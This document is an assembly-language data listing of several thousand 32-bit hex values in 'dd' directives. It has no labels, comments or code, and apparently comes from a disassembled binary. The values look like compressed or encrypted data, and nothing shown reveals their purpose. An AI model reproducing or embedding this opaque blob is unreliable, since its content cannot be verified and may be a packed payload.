dd 1DDC4007h, 5C570972h, 0DE3CB2D2h, 24DCB2F0h, 589FAF81h
dd 0DE42D329h, 82B7712Eh, 36CF805Fh, 30AE2FE0h, 30CFDEA3h
dd 0E9FA2884h, 6B16DB5Fh, 63435C0Bh, 60D98213h, 80E5C5E7h
dd 6A4EE868h, 5A6F78CCh, 7B7F4937h, 4A59A9E0h, 7E2C118h
dd 27249396h, 2520184Dh, 0CB02CDC6h, 5DA7250h, 7FF7E92Eh
dd 0C625A5ABh, 0E90DC455h, 1A2ACACh, 181D0EB8h, 0A97C480Ah
dd 20BDB074h, 5B5B6B47h, 6EF01B8Dh, 418D757h, 1BBA14Bh
dd 5D58C201h, 524D096Bh, 145A6849h, 0D67869C2h, 85BB1ED2h
dd 0C2204962h, 386AF8B8h, 59C18043h, 10A7EDh, 0A6E18185h
dd 60773B5Eh, 0F979047Fh, 0C4298288h, 7E45E3A7h, 6213454Eh
dd 0DAC12AC1h, 82159F70h, 180846F1h, 3622428h, 15E2029Ah
dd 6FF8CBDAh, 1600BD9Ch, 898F6EC5h, 45973CAh, 0F8015AD7h
dd 7835F55Fh, 0E958C104h, 8351D6F6h, 0F0785DEFh, 596DE9A0h
dd 0EC38ADBAh, 0C4EA739Bh, 0D917F4EBh, 5C0BD8ABh, 0CC5F5457h
dd 0CFDF485Eh, 0CBA73D27h, 1D348202h, 1B25B06h, 2E436AD6h
dd 0FD01C183h, 6BC32562h, 8257E562h, 0D47A76ECh, 26E169D6h
dd 0C0343C4Ah, 92B116Dh, 0EE972C05h, 26502689h, 39280B6Ah
dd 0AD2A1AD8h, 0B03D1A74h, 0ED924C4h, 0C3685D82h, 9610A802h
dd 90C55B92h, 0EAD087E7h, 16299584h, 81B47767h, 0FBDCCB0h
dd 44237D8Ch, 0E61AC644h, 0F0528398h, 8BF1C25Fh, 0A147509Dh
dd 0CD3886B2h, 3906C02Dh, 62E1B5ECh, 0DE881619h, 0E00F0D85h
dd 515887E6h, 0EBD4F5B7h, 0A4AC3A3h, 0A6F44A2Fh, 46890C21h
dd 4003EA9h, 0E82106EEh, 0B8D8F75Dh, 7449469h, 277016B8h
dd 50D3A340h, 5CAC700h, 0F76DCF30h, 0CD04DFD2h, 60AED75Ah
dd 0BA80B9D3h, 175F1889h, 26473245h, 0E20D662Dh, 0D91740B6h
dd 6E69260Ah, 6B0F3880h, 0F280358Fh, 24860204h, 89D5012Dh
dd 2820E5ECh, 0FF29F75Ah, 5B074884h, 51E19A10h, 31BF92F0h
dd 0F1E9F95Ah, 470FA60Eh, 0F157560Bh, 5DAF3F0Fh, 894134E2h
dd 5BF328F2h, 5C0472CFh, 0CC101368h, 68BC5496h, 2F481D10h
dd 5E8AAA72h, 3116AD2Dh, 7F4A9333h, 392F4245h, 831D4E7Bh
dd 47D85D01h, 6F072E24h, 4F29640Bh, 82315972h, 6C88AC4h
dd 0C0D5DB5Eh, 0FE487824h, 16F53F34h, 1DF3E831h, 4043BE50h
dd 0D15E0811h, 18026B13h, 408859C8h, 0AB4012EDh, 30382884h
dd 561E4CA4h, 4F64AF05h, 5E2BA463h, 0D83BA7A1h, 0E9777043h
dd 0FB42B6AAh, 0D2EEA65Eh, 455B638h, 0CA1EF5BDh, 0E1C4C211h
dd 8208EEE4h, 42FB0215h, 42FC20E8h, 1564663h, 726FED4Fh
dd 685B3FDAh, 0E9550517h, 0D54B223Dh, 0F5D707CDh, 2FCC4551h
dd 7CD73283h, 0C036033h, 516E5039h, 0BF822053h, 0B86A77EAh
dd 0BBE5470Ah, 565DBB47h, 0F8D1577h, 68C29838h, 0FE4655BCh
dd 500F58C9h, 3287ED06h, 0FB74EC12h, 6A12C50Ch, 4EF86006h
dd 1F537AE9h, 0CFE7EA81h, 0EF694C71h, 1B7EFEC2h, 26C229E3h
dd 44C36434h, 10FACAEFh, 572D4315h, 127B6900h, 51FA3444h
dd 8374135Eh, 32DC7A96h, 0E2C50DFBh, 41BB1171h, 5CA5323Fh
dd 42688748h, 52AA690Bh, 317A45Ah, 0F200C3ECh, 2917AE0Ch
dd 0E4FFD509h, 19264AE5h, 0CD01789Eh, 137D3CF2h, 9DA7D341h
dd 1B890FE0h, 0FB7FE9EFh, 4FB8CFE8h, 0C103DB1Fh, 0E741025Eh
dd 19821F3Eh, 16FF893h, 0FB01F94Eh, 36EAD85Fh, 7D0D9495h
dd 16094BF0h, 56EA802Fh, 8EA85150h, 0CC0A0C7Ch, 62D5823h
dd 4FB9D63Fh, 0C14B308Ah, 2ADFE760h, 676F9890h, 0B05E6D3h
dd 47423545h, 0F2DDC05h, 51A35F07h, 0D48F644Eh, 0A6D3C1D8h
dd 0C380006Ah, 0DA880E31h, 516FF65Bh, 9D70EEC9h, 9E8B06BEh
dd 25BC59E8h, 925643A4h, 50795EEBh, 20D5ECADh, 17901FB6h
dd 0C91A3427h, 0CA79A3F7h, 0D9B6FC17h, 0E880406Fh, 160F4A0Dh
dd 0D452D529h, 4E5A8C08h, 4212406Dh, 763FA7A3h, 8140BB62h
dd 0E8C9EB81h, 57A12DBh, 40B1959h, 0BCD69043h, 1B83804Eh
dd 9C570C71h, 220153DDh, 580EC5E5h, 6D9C15Eh, 18CEDF20h
dd 742284DBh, 3AE25D6Dh, 5BD82902h, 8905E801h, 5683380Ah
dd 0B5E26168h, 9516B2E9h, 48807C0Bh, 78211621h, 1EF3D71h
dd 0A1072993h, 16ED27B0h, 5210A35h, 7405D497h, 0C139C340h
dd 25A0404Ch, 5CA4642Ah, 610B3042h, 0A500C541h, 0DA541CF1h
dd 0D9F71417h, 7295B001h, 69D50F8Fh, 2C33C9F2h, 16D0ED04h
dd 7BB37EFAh, 56D3094Eh, 6AACB380h, 0E9122E90h, 8D2937F5h
dd 0C4DD9CECh, 0ECD15954h, 7C2A1EA0h, 0C38C45DFh, 60E1AB43h
dd 41B58C04h, 1CC8DEA6h, 0C3AC1609h, 0F0826B73h, 0E9FD0400h
dd 36DF5EDEh, 0E0E69834h, 0AFD0D190h, 0BCA71397h, 1F26C0B3h
dd 0EA3187A1h, 300C825Dh, 75955259h, 2C593F9Eh, 46A5A383h
dd 849E5AC1h, 807FA9D3h, 6275762Bh, 60E92D50h, 0BAE5550Fh
dd 83E35Ah, 0B252BCB3h, 27D3306Ah, 0F08A41E9h, 0B1EE09ADh
dd 893FDAF8h, 743715F2h, 0B55F13A0h, 0D4C22B27h, 0E29E55B7h
dd 0FF8CC24Bh, 0A14F55E9h, 3F67BB71h, 96AEEF21h, 0C32C1E4Ah
dd 0C2208D9Bh, 0FEA6A231h, 26A15CC9h, 5CF4221Bh, 0F278B15Fh
dd 4FDEBCDBh, 67429106h, 0A402C025h, 6C8D32Bh, 5DB44EF6h
dd 4392C877h, 12C8890Fh, 0E9A042A8h, 0B09D3A5Eh, 1DE505B1h
dd 420C9143h, 3C48252Ch, 0DD087E7Ch, 0B5680506h, 65ED6139h
dd 75232E47h, 0D37E3F9Dh, 54AC9564h, 0F8565E42h, 0FFDFDBB2h
dd 0BFFFC05Bh, 0F82C09CDh, 0B402196Dh, 80343716h, 0F442B2B3h
dd 19295807h, 0DFD34C73h, 24433605h, 3524882Ch, 6F565841h
dd 7574A12h, 77FE091Ah, 4C994B7Bh, 4B2D3E58h, 9889246Ah
dd 9905E9ACh, 1222C60h, 807F9B1h, 0D5AC63D5h, 34C4295Eh
dd 7410FE55h, 6416FA5h, 44E9838Bh, 8959B260h, 0B6A3DD4Ah
dd 0F5022C48h, 0E770F712h, 36C37260h, 5E525E80h, 530F4554h
dd 3EA0B24Bh, 59E9DD57h, 93C5A5E3h, 0E9A048B8h, 29C51BCh
dd 0D1DC280h, 2968D556h, 80FB0765h, 0C40B850h, 314B5855h
dd 0E90A2B94h, 42300CF6h, 276165CEh, 99C53F1Eh, 3705B91Ch
dd 73B14AABh, 1057A20h, 297F1733h, 6F93E9EEh, 64BA0100h
dd 0B83D5437h, 4574A147h, 0C358236Ah, 2BB379C9h, 0EEA49612h
dd 8B01BE28h, 21DA59CAh
dd 3791E20h, 0D78FC381h, 59DAC7DCh, 925AD78h, 4C6C9AD3h
dd 8CB80081h, 0C1626116h, 0F70008E8h, 5DA90DD8h, 0C052553Dh
dd 0EC394EBEh, 6B02BA60h, 0E908B624h, 2C4F5E74h, 34A08D1h
dd 0A3E5C00Eh, 99EEC580h, 0EBC0F9EDh, 44069759h, 1290C466h
dd 5CD70E6Ch, 8B5A12C6h, 0D0094150h, 606E5F6Bh, 5B1F14B1h
dd 50374B0Dh, 0E7F5FB13h, 25A7525Bh, 7D624CE9h, 5FAFB960h
dd 3AD1A74Ch, 5C01C06Ah, 2807C8EFh, 0E923981Ch, 0FC714548h
dd 0DC984C92h, 3869C217h, 6CD5810Dh, 0F4010804h, 0A4E234F5h
dd 4E6F29CCh, 4E0D8B24h, 831F788Ah, 46C6ECEEh, 583B19DDh
dd 0E33EA752h, 37ABFC82h, 568E11Ch, 9AD6283Ah, 3C478054h
dd 130D886Ch, 0B208C7E9h, 33E3072Ah, 9DC22D96h, 20AED2D3h
dd 0B6ACDAB6h, 508B4793h, 0EA2C90B2h, 0A55F8148h, 0A48FCC2Ah
dd 30B70166h, 55E933CAh, 7693622Fh, 21E8A097h, 90742C47h
dd 78AC0EABh, 0E2C34A4Dh, 46BB4330h, 918CEAE0h, 12A8F827h
dd 0AE3C55B0h, 0DB52B398h, 6FE307EDh, 0C1B2194Dh, 25CECCB7h
dd 7CE65DBAh, 1836D820h, 4B5F9168h, 89A6D083h, 2374524Bh
dd 30E9D1F0h, 0D107225h, 620155E3h, 36883563h, 99D47774h
dd 343C0106h, 43530E25h, 2D942057h, 8D69D01h, 58C5319Bh
dd 642C127Bh, 0D2F35EB9h, 0F71EA0E1h, 0D12C68ECh, 0DEC4351Bh
dd 0B151E4D0h, 0E1801CC6h, 0D1F1CE13h, 2DF1CB0Ah, 8B70BE89h
dd 51209386h, 0C028F4D2h, 163F2D15h, 88B714B1h, 8806075Dh
dd 9D9E5818h, 2716DB8Eh, 8C7776AEh, 5100C885h, 2F01BA52h
dd 0C786018h, 4E487D21h, 0C305E913h, 13BB4990h, 61665E67h
dd 6F2E8943h, 0F5D76434h, 6FE2E3B7h, 80AFD135h, 78FF7EF0h
dd 303AFC0Dh, 0E992854Ah, 0E644124Eh, 87BC178Bh, 8213EDF5h
dd 0D17F1068h, 6376AC76h, 8F4B5EF1h, 59E97992h, 0FE1A0865h
dd 8557530Fh, 5AB95217h, 1E84E7D4h, 0BB66014Fh, 7F308BC8h
dd 0B632B501h, 1B2E9701h, 0DF84CE12h, 1022ADF6h, 0AF590761h
dd 0A90B5103h, 0D5E94F54h, 0C2992808h, 465FB968h, 255CA513h
dd 6BD96E00h, 0F7124612h, 2AE843DBh, 7302268Fh, 0CF25301h
dd 50C95B69h, 744F208Fh, 58C32912h, 970DD1B4h, 1C5DD0C2h
dd 0A0E916B0h, 71E7916Ch, 2DCB5A23h, 8662CC58h, 5DE827C3h
dd 425E3C42h, 13E3550h, 5220574Bh, 4D73CF68h, 3B58E0E5h
dd 4CA627h, 150862Bh, 83DE807Ch, 0E9C8A704h, 540E4BDAh
dd 414713C6h, 44A2E64Eh, 7D90B880h, 3FB676B2h, 67577516h
dd 0C290BBA6h, 3926890h, 0B461746Eh, 84B401DBh, 0E90805CFh
dd 7829F1FAh, 88072E24h, 193D4C16h, 652EEED9h, 0B39A20E5h
dd 212B1D3h, 248167E9h, 0DC9FD04h, 42AD9D1h, 733F290h
dd 0F307DDB6h, 67D5E594h, 2FEBCC04h, 1CC49FC1h, 0CB27CF55h
dd 60C83BF2h, 0D5AF4503h, 502821ACh, 0B680CACh, 93427A17h
dd 0FA6E920Ah, 0F2139789h, 78AC8BA0h, 66530930h, 7602CB68h
dd 0CBDEBC51h, 7DDDB840h, 313C133Ah, 6400BC1h, 6912CD79h
dd 7CF72410h, 8F796E45h, 0CC10884Bh, 0F652FB60h, 7AF580D5h
dd 2FEFDCD9h, 0CE00F28Bh, 4D8949B3h, 0C6DA83B7h, 198ED962h
dd 0BDD133Bh, 73C9ED1Dh, 18472CD8h, 0F188EB29h, 0FA12F668h
dd 2E6BB2CBh, 1024DDF6h, 65585Bh, 59EC30F8h, 0E58E528h
dd 4BB05066h, 2EDEC5EEh, 0E9BB0479h, 4022F1E3h, 27659560h
dd 0B3727164h, 8A4AFDF8h, 93AB5D98h, 923B634Ah, 42C260AEh
dd 0D5F96Eh, 0BD0B3417h, 0FD325746h, 0E0C1E918h, 0E5E953C0h
dd 0A50DC8FAh, 1CCF0D02h, 0FD0BA12Dh, 0E3012EC3h, 0D46E9BB9h
dd 0FFD9C72Fh, 3B632FABh, 0C65B0C98h, 9A59F5B8h, 0D5F71257h
dd 0A80451B1h, 88680590h, 3B4D2601h, 16F107C5h, 4944D26Fh
dd 0B42BF3E2h, 66852351h, 3E88B30Fh, 12989C64h, 0B451F858h
dd 4108EBC8h, 0DF7F2056h, 112D5112h, 2F792609h, 0E9D712B0h
dd 0F9F36BD9h, 317F2F30h, 3D1B4F19h, 7FB984A2h, 1A21DCCDh
dd 78986844h, 0A3BF4E55h, 89CC2544h, 3D4245FAh, 0C69432B1h
dd 9B486C4Ah, 54A5DAF5h, 3680B6Ah, 98D1DBC3h, 1D892B47h
dd 0BF616660h, 0D6901A13h, 3A3F4C59h, 2510165Dh, 2EF0772Dh
dd 0EB808053h, 0D3F6111Eh, 2E2459B8h, 2B42935Eh, 0CA46CDh
dd 0ABB1D6B0h, 2897C180h, 0B67552E6h, 0DF78E9F0h, 0A91AF16Eh
dd 6874015Ah, 4C2F6D4Ch, 0F6AC8633h, 8F0BD26Fh, 13D14D59h
dd 0FE1908BBh, 82B44CC1h, 0C8306206h, 81395959h, 0B47EB551h
dd 0F6AA2493h, 5009DC7Ah, 526B23E9h, 60410970h, 2B067842h
dd 55AEA45h, 43C75813h, 0DC591FB0h, 9C9EC4Ah, 1D703EF9h
dd 41098F00h, 829F4206h, 50E62BFh, 9204ECBBh, 0E2C86204h
dd 5F0E9BFDh, 3E393B14h, 263A948Bh, 703605C2h, 3EBC0322h
dd 37000669h, 3809ADC6h, 434FB2CBh, 0ACA4A9D3h, 0F0010A9Bh
dd 0BBC66460h, 12693127h, 0B24C1A68h, 560B7C34h, 91B8366h
dd 862A81DDh, 81F8B46Eh, 0CFFC00EDh, 0EB3174E5h, 0D95E295Dh
dd 508F7C92h, 0A04E608Ch, 279406DDh, 0D6E47B98h, 686464Ch
dd 2D926686h, 1330094Ah, 108B454Dh, 2F08D708h, 0CC2F8165h
dd 0E1C517CAh, 0CDC5B026h, 2D084AD0h, 0CB11E659h, 0C5D11E92h
dd 0E2E9E2Ch, 0DBC05117h, 34A739FAh, 0D565D56h, 40705907h
dd 29375B30h, 0FC09AA2h, 615C8BE9h, 0E768C6BEh, 5C11FA61h
dd 849E296Fh, 0C2746414h, 0B8E00548h, 0A5007BE3h, 41F28119h
dd 5F1A065Bh, 0CFEB8131h, 5600775h, 24E034C7h, 0B278909h
dd 0F9713FD5h, 0DB4C09A5h, 0F8CD1227h, 0DEC45E26h, 895B70D1h
dd 41103970h, 3EB4CC50h, 58E7301Ch, 84D8F814h, 4FBA5561h
dd 44396CEDh, 5A378C8h, 3E3D685Fh, 0DAA173CDh, 0EEA83CC2h
dd 12D7909Ah, 1307C177h, 8CC1168h, 85A0814Bh, 7B1C06E1h
dd 395F0065h, 3BDBF381h, 80A131A5h, 0CBB00772h, 7BA01159h
dd 14BB2D4Bh, 1959BFBAh, 0B029348h, 46163568h, 5481F060h
dd 0F176CC62h, 2E9B3D6Fh, 71727D2Dh, 4571D018h, 5B802961h
dd 0CE4B01h, 34214F74h, 0D00BF730h, 664135h, 47110555h
dd 0C6EACAE0h, 93FA17C9h, 3FABF6DCh, 0EFB03ABBh, 219A23B6h
dd 620790ECh, 0F7017137h, 807C7E5h, 7BFB7FE9h, 3F4EAE80h
dd 0A3005A2Fh, 984AD2BBh, 0FF1E34E5h, 26EBF144h, 3DB23913h
dd 0A19A303Eh, 0E96C1AAAh, 0F8DA16A1h, 76835239h, 0ABD20BA8h
dd 0D7823118h, 1E6AC2EEh, 5F1E38DCh, 684BE1BAh, 0F82D1D37h
dd 38B4E14Bh, 0B87A236h, 0B94EC064h, 84FC7B84h, 0F8505632h
dd 0A8B62D24h, 96370593h, 51959844h, 6AB66815h, 9A522D1Ah
dd 736CA31Fh, 11CE060h, 1410DF54h, 5A810C44h, 25F8E959h
dd 0C481D8B8h, 25D0E79Dh, 541DB340h, 53DE6880h, 2A98582Ch
dd 58804333h, 0E8D14CF7h, 0B22B7B0Fh, 62BBBF1Dh, 8910A206h
dd 96B7D0CEh, 950684D3h, 594885E4h, 0FA098959h, 0A9B12054h
dd 0BC016B0h, 0D6630725h, 191B981Ch, 7AC1352Ah, 8264C0F1h
dd 6F215E26h, 40041C3Eh, 45CC839h, 15A26858h, 389633AEh
dd 5259F312h, 0D012191Fh, 0DECCAA53h, 58542768h, 0E293A9F1h
dd 0AAA80052h, 0AD19E3A7h, 0F8BE1C2Dh, 3F2548B5h, 0C20D0134h
dd 8B5C2DD3h, 0BAC2C550h, 0EB0105AEh, 0A944F1E9h, 0F07310BEh
dd 21E68101h, 3A6E117Dh, 679E8587h, 682454B3h, 0B51635FBh
dd 0EAF9FC8Ah, 2D12C20Fh, 6A9F7E4Fh, 705F0CAh, 0F1A54B26h
dd 5B4AE90Eh, 70B43F80h
dd 81003F10h, 4371D2E2h, 4BF571Fh, 66E755D8h, 41F38047h
dd 75184229h, 6E10DFF7h, 5BD2300Bh, 57D43C0Ch, 50299F2Dh
dd 0B3E34B31h, 0F7680A00h, 88CFCF4Fh, 1702411h, 592812EFh
dd 586BF075h, 50CB36BEh, 0C493BDCEh, 92DD74Dh, 0D121A0E9h
dd 0E1F689EEh, 0CC58DFF8h, 75BB1388h, 72C6EBF3h, 0BB00A4A8h
dd 1ABF0189h, 0B05BDF29h, 0D12A2572h, 56D8D8CBh, 0C2EC45A2h
dd 0E97848B5h, 0F53FD353h, 480B201Eh, 5E7E84Eh, 5526CE57h
dd 8B422D6Fh, 6FA8F57h, 46DDCCEh, 514C2CC5h, 29EEE00Dh
dd 9D966E90h, 1A78BA50h, 7426201Eh, 0A2BEB3E0h, 11F2A30Bh
dd 4760B01h, 0FBF088A8h, 8A79046h, 13775E09h, 786B5B0Bh
dd 0B8F9A326h, 4CF71952h, 4278BD9h, 0A6269145h, 977FF600h
dd 5F58138h, 61B10ED8h, 8235E045h, 9F1F283Bh, 0CE30CAE9h
dd 966BDBAh, 0FA8735DDh, 0E7AB7B06h, 22BEC604h, 62C14CECh
dd 1980B069h, 4776A0F7h, 0F82F89E7h, 8B44C95Fh, 0D1D45CCAh
dd 7D9C8057h, 8941101Eh, 2D5D00EFh, 15CF6F8Ah, 551F829h
dd 11A57907h, 4A48AD0Dh, 0A81C615Bh, 0D4C4044Bh, 0B57FABACh
dd 6E403813h, 7FC1A1ADh, 310BE8C1h, 4BB968D0h, 9922512h
dd 4AA9C908h, 4910F2D0h, 0FE0EE220h, 8C2C0C2h, 625867E9h
dd 74C92C9Eh, 92D0B469h, 9960F11Dh, 0EE952A59h, 0A10D5577h
dd 8008D33Dh, 99283106h, 1F5E082Ch, 0E3736640h, 0A2ADA419h
dd 250A0CFEh, 49CA0308h, 54293E69h, 6C52107Ch, 0CEF24B0Ch
dd 5BD6B269h, 2B7D9A81h, 0D83B592Dh, 0D8651F97h, 10AAD39Dh
dd 6A89C262h, 726844C0h, 210D371Eh, 59BFBD89h, 0DDB70F65h
dd 0F1C02C4Bh, 9D2EAD05h, 0C20E6E1Fh, 14872558h, 29EADE34h
dd 7F1222ACh, 99C11A59h, 20110224h, 0C0EF78FEh, 0E989CE80h
dd 48D0BABEh, 0D9022FADh, 0F73A901Eh, 74A100D5h, 0B061B5BBh
dd 0BA3B5817h, 70A7281h, 663303Dh, 73E18080h, 69F13DC2h
dd 0A36F7D97h, 0C9E102Eh, 39EAD107h, 26C392D0h, 1A0E1AC4h
dd 0C0684046h, 0EF138BE5h, 1A456030h, 38FB55AFh, 0AD4DB398h
dd 27409742h, 4F0E2F44h, 0EBC1035Bh, 0D1DBF702h, 40F381A8h
dd 6CA33616h, 4A5B8A03h, 87F2D842h, 34351360h, 24EE8C1h
dd 4018B9CAh, 0BB80804Ch, 5ECC6DDh, 9CE9EA31h, 701CF2D1h
dd 0D049D84Ah, 685721F6h, 993E7643h, 0A6FC45E3h, 81619606h
dd 69FCDBC6h, 0D6010070h, 3E43B850h, 253A45D3h, 526D8087h
dd 0D839282Dh, 0AA929ACFh, 6C1EF94Bh, 202DE90Ch, 5FC6C6ECh
dd 0D17E13CBh, 3EA56CD9h, 52ADF035h, 0E2155512h, 30FA0F13h
dd 635865F3h, 81C34E90h, 1AFC17EBh, 12E5167Bh, 5A7440F8h
dd 0C2AC3548h, 138E263Eh, 6CA83A30h, 0C304B190h, 0C0690C7Dh
dd 5F15C6CEh, 4AEE4660h, 1230F333h, 0F73AEAE9h, 50E74C77h
dd 5BBB089Ah, 2FF6AF08h, 47401C30h, 0B6A659Dh, 53940AF5h
dd 6D7278C0h, 7105493Ch, 0B6C30192h, 0E958C701h, 0CF4F2EDBh
dd 733DC2C2h, 0A0B0F645h, 0BCF18308h, 0E9CF55B2h, 804D8076h
dd 39F07DF4h, 89FF3258h, 605DF2EDh, 74570E5Fh, 891205C2h
dd 0AEE85DEBh, 0AF88D54Bh, 0A4944221h, 2E28CD3Ah, 23685602h
dd 80AC5952h, 3866F0Fh, 0C495535Bh, 0A9D4811Fh, 0D3F6E255h
dd 5F56964Bh, 45B66812h, 68BC1EA8h, 6A019724h, 9DE21F6Fh
dd 0EE8E4245h, 5079E267h, 0B41F6055h, 4DBF2E5Dh, 810300FFh
dd 0BC0B99F6h, 0CE4C0198h, 20821807h, 79652338h, 0B7490CFh
dd 13218BBCh, 0FD9A0B50h, 6C1C24C1h, 0D6E55764h, 442CCB6Ah
dd 0D8B8FE10h, 0D063EB2Eh, 7AEF06C2h, 71790FE8h, 0F269076Bh
dd 36547041h, 0C838DBAh, 56253773h, 4FB41C4Eh, 5B3C6858h
dd 0E920214Ah, 2A442C64h, 0C197AA2Dh, 0CE7102C9h, 0D1256238h
dd 0C0A56C00h, 769C8A48h, 5F7890Bh, 0F3BC3B95h, 82F28637h
dd 705E5299h, 0DEB857E5h, 0AFD93084h, 0CB686C30h, 657AB662h
dd 9348E11Eh, 78A8BDA3h, 28469393h, 9700A2DCh, 758CC117h
dd 0B1F82AE9h, 9C6BB215h, 88805297h, 7F480E42h, 5C544B90h
dd 84B9C6A3h, 7CAE6861h, 90C08A68h, 0E96B5E64h, 0E7CE749h
dd 201ABEBFh, 9CF811Eh, 33BD2E67h, 144F03BDh, 0D7AB29A3h
dd 55421005h, 97022AAEh, 0E07B933Fh, 0CA588CEEh, 125DFD83h
dd 0D604E23Ch, 303A9204h, 0E4330116h, 30295C53h, 2A00F634h
dd 8A35692Fh, 954B2108h, 2947FF80h, 0AAF8156Ch, 0C757E81Fh
dd 0E32FF5ACh, 5062C81h, 6C4F0056h, 0BF574684h, 80C4651Dh
dd 4A3CA2A5h, 0D3C105BCh, 16CC86AFh, 80CABFB2h, 27011EA2h
dd 2770912h, 10698A8Fh, 0C2E230B0h, 0A01791BDh, 0F097136Fh
dd 70CCA82h, 9C4E0842h, 8E661685h, 0D64509FEh, 0A9A43B04h
dd 93A0D285h, 0D54F85h, 0EE68551Dh, 1A5CCA3Dh, 3CB24FFCh
dd 78480591h, 19FB0B96h, 5EF0ED44h, 0F16BDA64h, 5D9D53BBh
dd 5BE82FCCh, 6B4A72E9h, 525F3720h, 0BDDF754h, 177BCF3Fh
dd 26F5A1DFh, 5501DF00h, 35720238h, 60EF3FC5h, 0F704CC40h
dd 8D2DD000h, 89730DFFh, 0C5584FC3h, 568882D8h, 8E5C101h
dd 12E76270h, 0C850FC87h, 0BA4EE856h, 0D6A51924h, 19A443F1h
dd 0D3980077h, 0F12DFB74h, 55A04513h, 7127984h, 0D0810Fh
dd 5CFA2612h, 0D8594E5Ah, 391488D3h, 16DE2DBEh, 18C24BE9h
dd 4C524045h, 21152470h, 1D061735h, 69B6028Ch, 6360299Eh
dd 122FB523h, 316EE0CCh, 0C4E927D5h, 0C051ED09h, 0F7665C82h
dd 4BEFEF1h, 21A9068h, 0ECA16DE9h, 0B1442443h, 0F119520Fh
dd 0F62F8B22h, 0E4E5F0DEh, 0F1881C90h, 66C8045Ah, 85EDA859h
dd 62BF55D8h, 0FE2304D8h, 0D24852A0h, 0F936538Ch, 0EF129892h
dd 0C51C9707h, 5BA212FEh, 672E3D43h, 362DA1DEh, 0B89418ECh
dd 9759907Bh, 46973C96h, 0E9C0800Ch, 0B800B7DDh, 81387605h
dd 35C0075Ah, 0C115A47Ch, 0FB416A90h, 2D057A25h, 6BA19CE9h
dd 742F3D2Fh, 0D80101FCh, 3D0EBB53h, 74317ACBh, 0B01D2568h
dd 0E03CD6E8h, 1C5B2932h, 0EDB62B4h, 0F75EB57Dh, 15B1E9A2h
dd 9D289C55h, 0D7DCCE4Bh, 525B7528h, 59BD2CA3h, 0E9F0300Bh
dd 7782E2EDh, 36C18BB2h, 0EB163FCCh, 0A5B479B8h, 0C4CA6BFCh
dd 0AF42E909h, 19BD1014h, 5E88550Bh, 0EA82D8EBh, 0F6AB5113h
dd 3AFE4272h, 92BC7E59h, 2AB91135h, 0E8D383CEh, 0CD3A84D7h
dd 2DC9560Eh, 0CEFC6AC2h, 0EE3B5718h, 7D5D12A1h, 0A6EE1259h
dd 5AEC100Dh, 0FE8DB300h, 80DBF6C3h, 4E07EB34h, 0A2E37DE1h
dd 0D36243F2h, 0C06317D1h, 0A0324AE2h, 0A2F2CB7Ah, 0B2E9570Ch
dd 9CD872Eh, 6F42628Eh, 56D0B489h, 0F34F5176h, 0A8EAA840h
dd 0BF249A30h, 0D0215898h, 51129B91h, 0B6C268BCh, 0DC61F6CFh
dd 8967E2DAh, 0F5A642ABh, 256861ECh, 0CF127AF8h, 5156E640h
dd 2020CF8h, 0D1592B39h, 1F08FEE9h, 57A6BD0Ah, 62FC03DCh
dd 0A7F2A084h, 135B258h, 60F858CBh, 0D71F7412h, 34E08C22h
dd 47A25112h, 1B101C01h, 189D7095h, 5616E07h, 29C41CE9h
dd 7C363AA8h, 4A6952Eh, 105E9055h, 59051D47h, 0E2733F83h
dd 1E8D489h, 725222BEh, 0B40B6F26h, 771F0868h, 61015797h
dd 4B336AF3h, 1759CFE8h, 372E8C68h, 3F2681EFh, 0E95DF0E6h
dd 60C0E34Fh, 3C2D9242h, 1DA572E1h, 0E7C13E81h, 0AF52B506h
dd 0B7258B04h, 0E5FC5E09h, 16AF6858h, 0C22E9B03h, 48D64AB0h
dd 83CE0789h, 76EAA27Ah, 8125F241h, 33B26C66h, 9D8AC428h
dd 28D3CBFh, 0A59618Ah
dd 2BEEA749h, 4E595FF0h, 9CB34FFBh, 39DC2DC9h, 2E685F82h
dd 3CCE5140h, 6C05D804h, 45A9561h, 165B467Ah, 6EFBD80h
dd 0FFA4822h, 4DE5F92Ch, 103376AFh, 0FE52E2E3h, 175FB010h
dd 838CD030h, 3CB40050h, 0B252DCF6h, 0D40B08FCh, 9037ABE9h
dd 2E2A76E0h, 827A6974h, 0A9655CE2h, 8BD71F49h, 2B52FE16h
dd 0B050C5Eh, 8F206EE9h, 949DBBA5h, 45811243h, 44336F5Dh
dd 0A20576CFh, 0CA24E5Eh, 0EB164D94h, 49C89432h, 2CC08DC1h
dd 4DEEE188h, 0CB87E6A8h, 0DD50ECD2h, 662A17A0h, 0AA97D97h
dd 361FB7BEh, 7059A7BFh, 45C920B8h, 79B0BF05h, 0F7094093h
dd 2410001h, 4091E94Fh, 573BBD0Ch, 81630047h, 442CFFEDh
dd 7C93A01Ch, 3BE62851h, 0F801BD9Eh, 2F8008B5h, 0DFC5FBC0h
dd 59EA3830h, 7AC5414Ch, 0F10AD8AAh, 6F89F44Eh, 0CD280231h
dd 3B229D5Bh, 5DEF0561h, 3FD98D7Ah, 0DE9B0062h, 0D2C0E09h
dd 8D03FD49h, 6825DE9Ah, 5882A450h, 7FA721ABh, 565F00F8h
dd 20AB9855h, 5216C07Bh, 9E1306B6h, 0A94125A1h, 0B307ECEBh
dd 0A4F9CC8h, 642E9DEh, 0E9ED205Bh, 3FC0CE14h, 5FA435EFh
dd 0FB293EE2h, 3BE053B8h, 891B7DF2h, 78260B7Bh, 8364D334h
dd 0C293A317h, 7C5BDE29h, 0BE9C107h, 0DE496917h, 8EEF0ECAh
dd 0C5B86683h, 5235A119h, 0DA0DC3C3h, 6A87F563h, 0FAF0C943h
dd 75E9ECF9h, 1C914892h, 8B02884Ch, 678B1801h, 0DF014A2Bh
dd 4FC4E441h, 0E5F814E1h, 0C7691DE0h, 0F7F5811Fh, 6F0D4D06h
dd 5B75DC8h, 294A4E5Eh, 591383EFh, 5FFEDD00h, 1557F4BBh
dd 0A469006h, 74453FFDh, 77960399h, 0DA727632h, 0F22652BBh
dd 2040EC08h, 5DB8FEF6h, 27519BDBh, 4DAE7FEAh, 0C700AE74h
dd 7E03A385h, 1EC7FB21h, 60CE08E3h, 7F8A16C9h, 0E4C04BE9h
dd 5A00D093h, 8086B551h, 128D8F5h, 0F3459E8h, 7058C230h
dd 0C3FCC80Ch, 0D3589670h, 144A2DC8h, 1F892059h, 0A6A0C19Fh
dd 2952172Eh, 0C89C290Dh, 0F172522Dh, 0D9B4F92Dh, 58668472h
dd 6599A418h, 0C83C9B41h, 0F77D9E00h, 40E0D137h, 6CF38AFEh
dd 0B8469716h, 941CF9F7h, 23712729h, 330938A4h, 609C7E5Ah
